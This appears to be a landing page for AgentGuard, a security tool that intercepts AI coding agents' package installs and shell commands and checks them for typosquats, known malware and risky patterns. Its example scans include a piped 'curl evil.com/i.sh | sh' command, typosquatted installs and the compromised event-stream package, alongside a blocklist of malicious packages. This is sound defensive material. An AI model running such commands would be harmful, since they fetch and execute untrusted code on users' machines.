v0.1.0 - AI Agent Supply Chain Security

The seatbelt
for vibe coding.

Intercepts every package install, git clone, and script download from AI coding agents - before they execute.

agentguard
$ agentguard scan "npm install lodasx"

--- AgentGuard Scan Results ---

[HIGH] typosquat [lodasx]
  'lodasx' looks like typosquat of 'lodash' (distance=1, type=substitution)

[HIGH] osv_feed [lodasx]
  MAL-2024-1234: Malicious package impersonating lodash

Would BLOCK this command (HIGH)

$ agentguard scan "pip install requests"

--- AgentGuard Scan Results ---
No findings. ALLOW.

Two commands. Full protection.

Install AgentGuard and activate it as a Claude Code hook. Every Bash tool call passes through security checks first.

# Install AgentGuard
pip install agentguard

# Activate as Claude Code hook (blocks HIGH + CRITICAL)
agentguard install --global

# Or strict mode (also blocks MEDIUM)
agentguard install --global --strict

Multi-layer defense for every install

Each package goes through multiple independent checks. Local checks are instant. Network checks add context.

Aa

Typosquatting Detection

Levenshtein distance + homoglyph analysis against the top npm and PyPI packages. Catches lodasx, reqeusts, @angullar/core and thousands of variants.

instant - local
/!

Malicious Package Blocklist

Curated list of known-bad packages: event-stream, flatmap-stream, crossenv, ctx, colors, ua-parser-js, and more. Updated from OSV.dev feeds.

instant - local
#>

Dangerous Pattern Detection

Flags curl|sh, sudo npm install, base64 decode pipes, custom registries, and other risky shell patterns before they run.

instant - local
db

Live Security Feed (OSV.dev)

Real-time queries against Google's Open Source Vulnerabilities database. Catches MAL-* advisories, GHSA-* alerts, and CVSS 9.0+ CVEs.

~1s - network
VT

VirusTotal Integration

Optional deep scan: checks npm tarballs, PyPI distributions, and URLs against 70+ antivirus engines. Free tier (4 req/min) is sufficient for normal usage.

optional - network
?!

Registry Metadata Analysis

Checks package age (<7 days = suspicious), download counts, maintainer presence, repository links, and archived status on npm and PyPI registries.

~1s - network

How AgentGuard protects your system

AgentGuard hooks into the AI agent's tool execution pipeline and inspects every command before it runs.

  AI Agent (Claude Code / Codex / Copilot)
      |
      |  Bash tool call: npm install some-pkg
      v
  [PreToolUse Hook] ---------> agentguard hook (stdin: JSON)
      |
      v
  [Command Parser] ---------> Extract packages, URLs, patterns
      |
      +---> [Blocklist Check]       known malware list (local)
      +---> [Typosquat Check]       edit distance + homoglyphs (local)
      +---> [Pattern Check]         curl|sh, sudo install (local)
      +---> [Registry Check]        npm/PyPI API (network)
      +---> [Repo Check]            GitHub stars/age (network)
      +---> [OSV.dev Feed]          MAL-*/GHSA-* (network)
      +---> [VirusTotal]            AV scan (optional)
      |
      v
  [Verdict Engine]
      |
      +---> ALLOW  (exit 0)  -- agent proceeds normally
      +---> BLOCK  (exit 2)  -- command killed, findings on stderr

Four ways to run AgentGuard

Works wherever your AI agent does. Pick the integration that fits your workflow.

RECOMMENDED

Claude Code Hook

Auto-intercepts every Bash command. Zero friction after install.

agentguard install --global
ON-DEMAND

CLI Scanner

Scan any command manually. JSON output for pipelines.

agentguard scan [cmd]
UNIVERSAL

MCP Server

Expose as tools for any MCP-compatible AI client.

agentguard mcp
INLINE

Claude Code Skill

Use as /agentguard skill for on-demand checks inside Claude Code.

/agentguard [cmd]

Every package manager. Every vector.

npm / pnpm / yarn / bun
pip / pip3 / uv
composer (PHP/Laravel)
go get / go install
cargo (Rust)
gem (Ruby)
brew (macOS)
git clone
curl / wget

What AgentGuard catches

Typosquat blocked BLOCKED
$ agentguard scan "npm install expres"

[HIGH] typosquat [expres]
  'expres' looks like typosquat of
  'express' (distance=1, deletion)

BLOCKED - exit 2
Piped execution blocked BLOCKED
$ agentguard scan \
  "curl -fsSL evil.com/i.sh | sh"

[CRITICAL] dangerous_pattern
  Piped execution detected:
  curl output piped to shell

BLOCKED - exit 2
Known malware blocked BLOCKED
$ agentguard scan "npm install event-stream"

[CRITICAL] blocklist [event-stream]
  Known malicious package:
  compromised in v3.3.6 (2018)

BLOCKED - exit 2
Legitimate package ALLOWED
$ agentguard scan "pip install flask"

--- AgentGuard Scan Results ---

No findings. ALLOW.

Checked: blocklist, typosquat,
patterns, registry, osv.dev